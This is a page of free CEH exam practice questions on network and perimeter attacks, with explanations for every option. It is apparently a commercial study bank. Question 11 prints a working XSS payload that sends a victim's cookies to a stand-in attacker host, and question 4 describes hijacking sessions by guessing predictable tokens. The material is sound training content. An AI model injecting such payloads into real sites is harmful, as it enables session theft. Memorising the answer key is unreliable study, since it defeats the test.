CEH Network and Perimeter Hacking: 81 practice questions
7-day money-back guarantee — full refund within 7 days of purchase if you've completed under 20% of the questions. See pricing →
Certifications Tools Flashcards Career Paths Exam Guides Blog Pricing For Teams About

Language

✓ EnglishDeutschEspañolFrançaisPortuguês
Check readiness — free →

CEH Network and Perimeter Hacking: 81 practice questions

CEH 81 questions 12 shown free

12 of the 81 Network and Perimeter Hacking questions in the Certsqill CEH bank, shown in full below. Each one carries an explanation for every option, not just the correct one — the wrong answers are where the marks go.

Preparing for CEH? Take the free 5-min readiness check →

1. To intercept traffic between the victim and the gateway: What is the primary goal of this attack?

Medium
An attacker on a switched network sends gratuitous ARP replies telling the gateway that the victim's IP address belongs to the attacker's MAC address. What is the primary goal of this attack?
  1. To intercept traffic between the victim and the gateway (Man-in-the-Middle attack)
    Correct. ARP poisoning corrupts the ARP cache on the gateway, causing it to forward traffic destined for the victim to the attacker's MAC. The attacker forwards it onward, becoming a transparent MITM.
  2. To cause a Denial-of-Service by flooding the network with ARP traffic
    Incorrect. While ARP flooding can cause DoS, the described attack sends targeted gratuitous replies to specific hosts — the goal is traffic interception (MITM), not service disruption.
  3. To enumerate usernames from the victim's NetBIOS name service
    Incorrect. NetBIOS enumeration uses nbtstat and UDP port 137. ARP poisoning operates at Layer 2 and has no relationship to NetBIOS name service queries.
  4. To prevent the victim from connecting to the internet by corrupting routing tables
    Incorrect. ARP poisoning corrupts Layer 2 MAC address tables, not Layer 3 routing tables. Routing table manipulation requires different techniques (e.g., BGP hijacking).
The trap
ARP poisoning is specifically valuable on switched networks where simple promiscuous mode sniffing doesn't capture other hosts' unicast traffic.

ARP poisoning sends fake ARP replies to associate the attacker's MAC with the victim's IP, redirecting the victim's traffic through the attacker for interception.

2. Whaling: This attack is BEST described as:

Easy
An attacker crafts a highly personalized email targeting only the CFO of a Fortune 500 company, referencing the CFO's recent public statements and upcoming board meeting. This attack is BEST described as:
  1. Whaling
    Correct. Whaling is a spear phishing attack specifically targeting high-level executives (C-suite). The personalization and targeting of a CFO makes this a whaling attack.
  2. Spear phishing
    Partially correct but not the BEST answer. Spear phishing is targeted phishing against any specific individual. Whaling is the more specific term when the target is a senior executive — it is the most accurate classification.
  3. Vishing
    Incorrect. Vishing (voice phishing) is conducted over phone calls or voice messages. The described attack uses email.
  4. Smishing
    Incorrect. Smishing is phishing via SMS text messages. The described attack is delivered via email.
The trap
All whaling is spear phishing by definition, but the exam expects the most precise term. When the target is a C-suite executive, 'whaling' is the correct answer over the broader 'spear phishing'.

Whaling is spear phishing targeting C-suite or high-value executives. The CFO targeting with personalized, research-based content is the hallmark of a whaling attack.

3. SYN flood: What type of attack is this?

Medium
An attacker sends millions of SYN packets with spoofed source IPs to a web server. The server allocates resources for each half-open connection and waits for the ACK that never arrives. What type of attack is this?
  1. SYN flood (TCP state exhaustion attack)
    Correct. A SYN flood exploits the TCP three-way handshake by creating thousands of half-open connections. The server's connection table (backlog queue) fills up, preventing legitimate connections.
  2. UDP flood
    Incorrect. A UDP flood sends high volumes of UDP datagrams to random ports, causing the server to reply with ICMP Port Unreachable messages. It does not involve TCP handshakes or half-open connections.
  3. Smurf attack
    Incorrect. A Smurf attack uses ICMP echo requests sent to a broadcast address with the victim's spoofed IP — all hosts on the network reply to the victim. It uses ICMP, not TCP SYN packets.
  4. HTTP slow-read attack
    Incorrect. HTTP slow-read attacks keep connections open by reading responses very slowly, exhausting application-layer connection pools. This is an application-layer attack, not a TCP state exhaustion attack using spoofed SYNs.
The trap
SYN cookies are the primary kernel-level mitigation for SYN floods — the server delays state allocation until a valid ACK is received.

A SYN flood exploits TCP's three-way handshake by sending many SYN packets with spoofed IPs, filling the server's half-open connection queue and blocking legitimate connections.

4. Session prediction attack: What is the MOST effective attack the attacker can attempt against other active ses

Hard
An attacker on a local network observes that a target web application uses sequential, predictable session tokens (e.g., session_id=100001, 100002, 100003). The attacker is currently authenticated with session_id=100050. What is the MOST effective attack the attacker can attempt against other active sessions?
  1. Session prediction attack — enumerate probable session IDs of other logged-in users and attempt to use them
    Correct. Predictable session tokens allow attackers to enumerate valid session IDs for other users. Since sessions 100001–100049 may still be active, the attacker can iterate through these values to hijack other sessions.
  2. Cross-Site Scripting (XSS) — inject script to steal session cookies from other users
    Incorrect. XSS requires the attacker to inject and have script execute in another user's browser. The described scenario is about predictable server-side session ID generation — XSS is not needed when tokens are simply guessable.
  3. SQL injection — extract session tokens directly from the database
    Incorrect. SQL injection would also work if the application is vulnerable, but the question specifically highlights the predictable token weakness — the most direct and efficient attack exploits that specific weakness.
  4. CSRF — craft requests that force other users to perform actions
    Incorrect. CSRF tricks users into submitting requests unintentionally. It does not give the attacker direct access to another session or their data — it is not a session hijacking technique.
The trap
When session tokens are predictable, prediction attacks are more efficient than XSS or MITM. The vulnerability type should dictate the attack choice.

Predictable session tokens can be enumerated by an authenticated user to guess valid session IDs of other users, enabling direct session hijacking without XSS or MITM.

5. Exploit IP fragment reassembly ambiguity to evade IDS: This technique is specifically designed to:

Hard
An attacker sends a malicious payload split across multiple small IP fragments with overlapping offsets. Some IDS implementations accept the first fragment's data at an overlap, while the target OS uses the second. This technique is specifically designed to:
  1. Exploit IP fragment reassembly ambiguity to evade IDS signature detection
    Correct. Overlapping fragments create ambiguity during reassembly. If the IDS and target OS resolve overlapping offsets differently, the IDS sees benign data while the OS reconstructs the malicious payload — evading detection.
  2. Crash the target system by sending malformed IP packets
    Incorrect. Malformed packet DoS attacks (like Ping of Death or Teardrop) are designed to crash targets. Overlapping fragments with different reassembly policies are designed for IDS evasion, not system crashes — though older systems could be destabilized.
  3. Bypass stateful firewalls by exploiting TCP session state tracking
    Incorrect. Stateful firewall bypass uses different techniques (ACK scanning, out-of-order packets). Fragment overlap attacks target IDS reassembly logic, not firewall state tables.
  4. Reduce the signature match probability by spreading attack data across many packets
    Incorrect. Simple fragmentation (splitting without overlap) reduces signature matching probability. Overlapping offsets specifically exploit *reassembly policy differences* between IDS and OS — this is a distinct and more sophisticated technique.
The trap
Simple fragmentation splits packets (IDS may miss signatures spanning fragments). Overlapping fragmentation exploits reassembly policy differences between IDS and OS — a fundamentally different mechanism.

Overlapping IP fragments exploit differences in IDS vs. OS fragment reassembly policies, allowing attackers to hide malicious payloads that only the OS sees correctly.

6. To become a rogue DHCP server and set the attacker's: What is the MOST likely objective?

Medium
An attacker sends thousands of DHCP DISCOVER messages with spoofed MAC addresses to exhaust the DHCP address pool, then sets up their own DHCP server to assign IP addresses to new clients. What is the MOST likely objective?
  1. To become a rogue DHCP server and set the attacker's system as the default gateway, enabling traffic interception
    Correct. After DHCP starvation exhausts the legitimate pool, the rogue DHCP server responds to new clients and can assign attacker-controlled values: default gateway (MITM), DNS server (DNS hijacking), and search domain.
  2. To cause a Denial-of-Service by preventing new devices from obtaining IP addresses
    Partially correct but incomplete. DoS is an effect of the starvation phase, but the setup of a rogue DHCP server indicates the primary goal is traffic interception, not just denial of service.
  3. To enumerate all active IP addresses on the subnet
    Incorrect. Enumerating active IPs uses ARP scanning or ICMP ping sweeps, not DHCP starvation. DHCP starvation does not reveal existing IP allocations.
  4. To bypass 802.1X port authentication by impersonating a DHCP server
    Incorrect. 802.1X is a port-based network access control protocol that operates at Layer 2 before IP addressing. DHCP starvation cannot bypass 802.1X authentication.
The trap
DHCP snooping must be explicitly enabled on switches. Without it, any device can become a rogue DHCP server on the segment.

DHCP starvation + rogue DHCP server is a two-stage attack: starve the legitimate server, then hand out attacker-controlled network settings (gateway, DNS) to new clients for MITM.

7. Application layer attack: Which DDoS category does this represent?

Medium
An organization's web server remains available and responsive, but attackers are sending hundreds of thousands of incomplete HTTP requests that each open a connection and send partial headers, keeping the connection alive indefinitely. Which DDoS category does this represent?
  1. Application layer (Layer 7) attack — Slowloris
    Correct. Slowloris is an application-layer attack that holds HTTP connections open by sending partial headers, exhausting the web server's connection thread pool without requiring high bandwidth. This is a Layer 7 attack.
  2. Volumetric attack — UDP flood
    Incorrect. Volumetric attacks overwhelm bandwidth with massive traffic volumes. The described attack uses a small number of incomplete requests that hold connections — it is a low-bandwidth, connection-exhaustion attack.
  3. Protocol attack — ICMP flood
    Incorrect. Protocol attacks (SYN flood, ICMP flood) exploit network/transport layer protocol weaknesses. Slowloris operates at the HTTP (application) layer and exploits web server connection concurrency limits.
  4. Reflection attack — DNS amplification
    Incorrect. Reflection/amplification attacks use third-party servers to amplify traffic toward a victim. Slowloris is a direct attack originating from the attacker, not a reflected/amplified attack.
The trap
Slowloris generates low traffic volume and is missed by bandwidth-based DDoS monitoring. Rate of connection establishment rather than bytes per second is the relevant metric.

Slowloris is an application-layer (Layer 7) attack that exhausts web server connections by sending partial HTTP requests and holding them open indefinitely with minimal bandwidth.

8. Malicious insider: What type of insider threat does this represent?

Medium
A database administrator with legitimate access copies all customer records to an external drive before resigning and sells the data to a competitor. What type of insider threat does this represent?
  1. Malicious insider (intentional data theft)
    Correct. A malicious insider intentionally misuses authorized access for personal gain or to harm the organization. Deliberately copying and selling customer data is clear-cut malicious insider activity.
  2. Negligent insider
    Incorrect. A negligent insider causes harm accidentally through carelessness (e.g., misconfiguring a server, falling for phishing, using weak passwords). The DBA's actions are deliberate and intentional — not accidental.
  3. Compromised insider
    Incorrect. A compromised insider is a legitimate employee whose credentials or system have been taken over by an external attacker. The described scenario involves the DBA acting under their own volition, not under external attacker control.
  4. Unintentional insider
    Incorrect. Unintentional insiders inadvertently expose data or create vulnerabilities without awareness. The deliberate copying and commercial sale of data is clearly intentional.
The trap
Compromised insider = external attacker controls the account. Malicious insider = the account owner acts voluntarily with harmful intent. The distinction is whether the legitimate user is complicit.

A malicious insider deliberately misuses authorized access to steal or harm. Intentional data theft for commercial gain by a privileged employee is the classic malicious insider scenario.

9. Honeynet: What type of deception technology is this?

Medium
A security team deploys a system that fully emulates an entire network of fake servers with realistic-looking services and data, intended to deceive advanced attackers into spending time on fictitious targets. What type of deception technology is this?
  1. Honeynet
    Correct. A honeynet is a network of multiple honeypots designed to emulate an entire environment. Its scale and realism make it suitable for attracting and studying sophisticated attackers over extended periods.
  2. Honeypot
    Incorrect. A honeypot is a single decoy system. The described technology emulates an entire network of servers — making it a honeynet, not a single honeypot.
  3. Honeytoken
    Incorrect. A honeytoken is a fake data artifact (fake credit card number, fake document, decoy URL) designed to trigger alerts when accessed. It is not a network-level deception environment.
  4. IDS sensor
    Incorrect. IDS sensors passively monitor network traffic for malicious patterns. They do not emulate servers or networks — they detect rather than deceive.
The trap
CEH tests both deploying honeypots (defense) and detecting them (offense). Attackers look for signs of emulation: perfect uptime, timing anomalies, and unrealistic configurations.

A honeynet is a network of honeypots that simulates an entire enterprise environment to attract, deceive, and study sophisticated attackers at scale.

10. Telnet: Which of the following protocols transmits usernames and passwords in CLEARTEXT and should be replaced

Easy
Which of the following protocols transmits usernames and passwords in CLEARTEXT and should be replaced with its encrypted equivalent?
  1. Telnet
    Correct. Telnet transmits all data, including authentication credentials, in plain unencrypted text. Any network sniffer on the path can capture the username and password. It should be replaced with SSH.
  2. SSH
    Incorrect. SSH (Secure Shell) is the encrypted replacement for Telnet. All SSH traffic, including credentials, is encrypted end-to-end. It does not transmit credentials in cleartext.
  3. HTTPS
    Incorrect. HTTPS uses TLS to encrypt HTTP traffic, including any login credentials submitted through web forms. Cleartext transmission is not a concern for properly implemented HTTPS.
  4. SFTP
    Incorrect. SFTP (SSH File Transfer Protocol) runs over SSH and inherits its encryption. It is the secure replacement for plain FTP, not a cleartext protocol.
The trap
FTP and SFTP are completely different protocols. FTP is cleartext; SFTP uses SSH encryption. FTPS is FTP with TLS wrapping. All three use 'FTP' in the name but have very different security profiles.

Telnet transmits all data including credentials in plain unencrypted text. SSH is its encrypted replacement and should be used instead in all environments.

11. It redirects the victim's browser to the attacker's server: What does this payload accomplish?

Medium
An attacker injects `<script>document.location='http://attacker.com/steal?c='+document.cookie</script>` into a vulnerable web page. What does this payload accomplish?
  1. It redirects the victim's browser to the attacker's server, appending the victim's session cookies as a URL parameter — allowing the attacker to steal the session
    Correct. The script redirects the browser to attacker.com with the victim's document.cookie value in the URL. The attacker's server logs this request, capturing the session cookie.
  2. It permanently deletes the victim's cookies to force re-authentication
    Incorrect. This script reads and transmits cookies — it does not delete them. document.location redirect does not affect cookie storage.
  3. It establishes an encrypted tunnel between the victim and the attacker
    Incorrect. The script is a simple HTTP redirect — there is no tunnel or encryption involved. The cookie is transmitted in the URL via a plain HTTP GET request.
  4. It scans the victim's local network for other vulnerable hosts
    Incorrect. The payload is a simple cookie theft redirect. Network scanning via XSS is possible (JavaScript XMLHttpRequest-based port scanning) but is not what this specific payload does.
The trap
HttpOnly cookies cannot be accessed via document.cookie — they are invisible to JavaScript. If session cookies have HttpOnly set, this XSS payload returns an empty cookie string and fails.

This XSS payload redirects the victim to an attacker-controlled server with their session cookie in the URL — enabling session hijacking without needing the victim's password.

12. Pretexting: What social engineering technique is this?

Medium
An attacker calls an employee claiming to be an IT auditor from corporate headquarters conducting a compliance review. The attacker asks the employee to confirm their current password for audit purposes. What social engineering technique is this?
  1. Vishing
    Incorrect. Vishing (voice phishing) is a broader category of phone-based social engineering. Pretexting is a specific technique used within vishing — the scenario described uses pretexting specifically. The most precise classification is pretexting.
  2. Baiting
    Incorrect. Baiting involves enticing victims with something desirable (infected USB drive, free downloads) to trigger malware execution. The described attack uses deceptive impersonation, not bait.
  3. Quid pro quo
    Incorrect. Quid pro quo involves offering a service in exchange for information (e.g., offering IT support in exchange for credentials). The auditor scenario is one-directional deception, not a service exchange.
  4. Pretexting
    Correct. Pretexting involves creating a fabricated scenario (pretext) to manipulate a target into providing information or access. Impersonating an IT auditor to extract passwords is a classic pretext attack.
The trap
Vishing is the medium (voice/phone). Pretexting is the technique (fabricated authority/scenario). When both apply, select the technique (pretexting) as the more specific answer unless the question emphasizes the delivery method.

Pretexting creates a fabricated authoritative scenario to manipulate targets into disclosing information. Impersonating an IT auditor to request passwords is the textbook pretexting attack.

69 more Network and Perimeter Hacking questions

The remaining 69 questions in this domain are part of the full CEH bank — 498 questions, every option explained. Start with the free five-minute check and see your score per domain.

Test your CEH readiness — free

Other CEH domains

Part of the Certsqill CEH question bank · Network and Perimeter Hacking · Every answer, right and wrong, comes with its own explanation.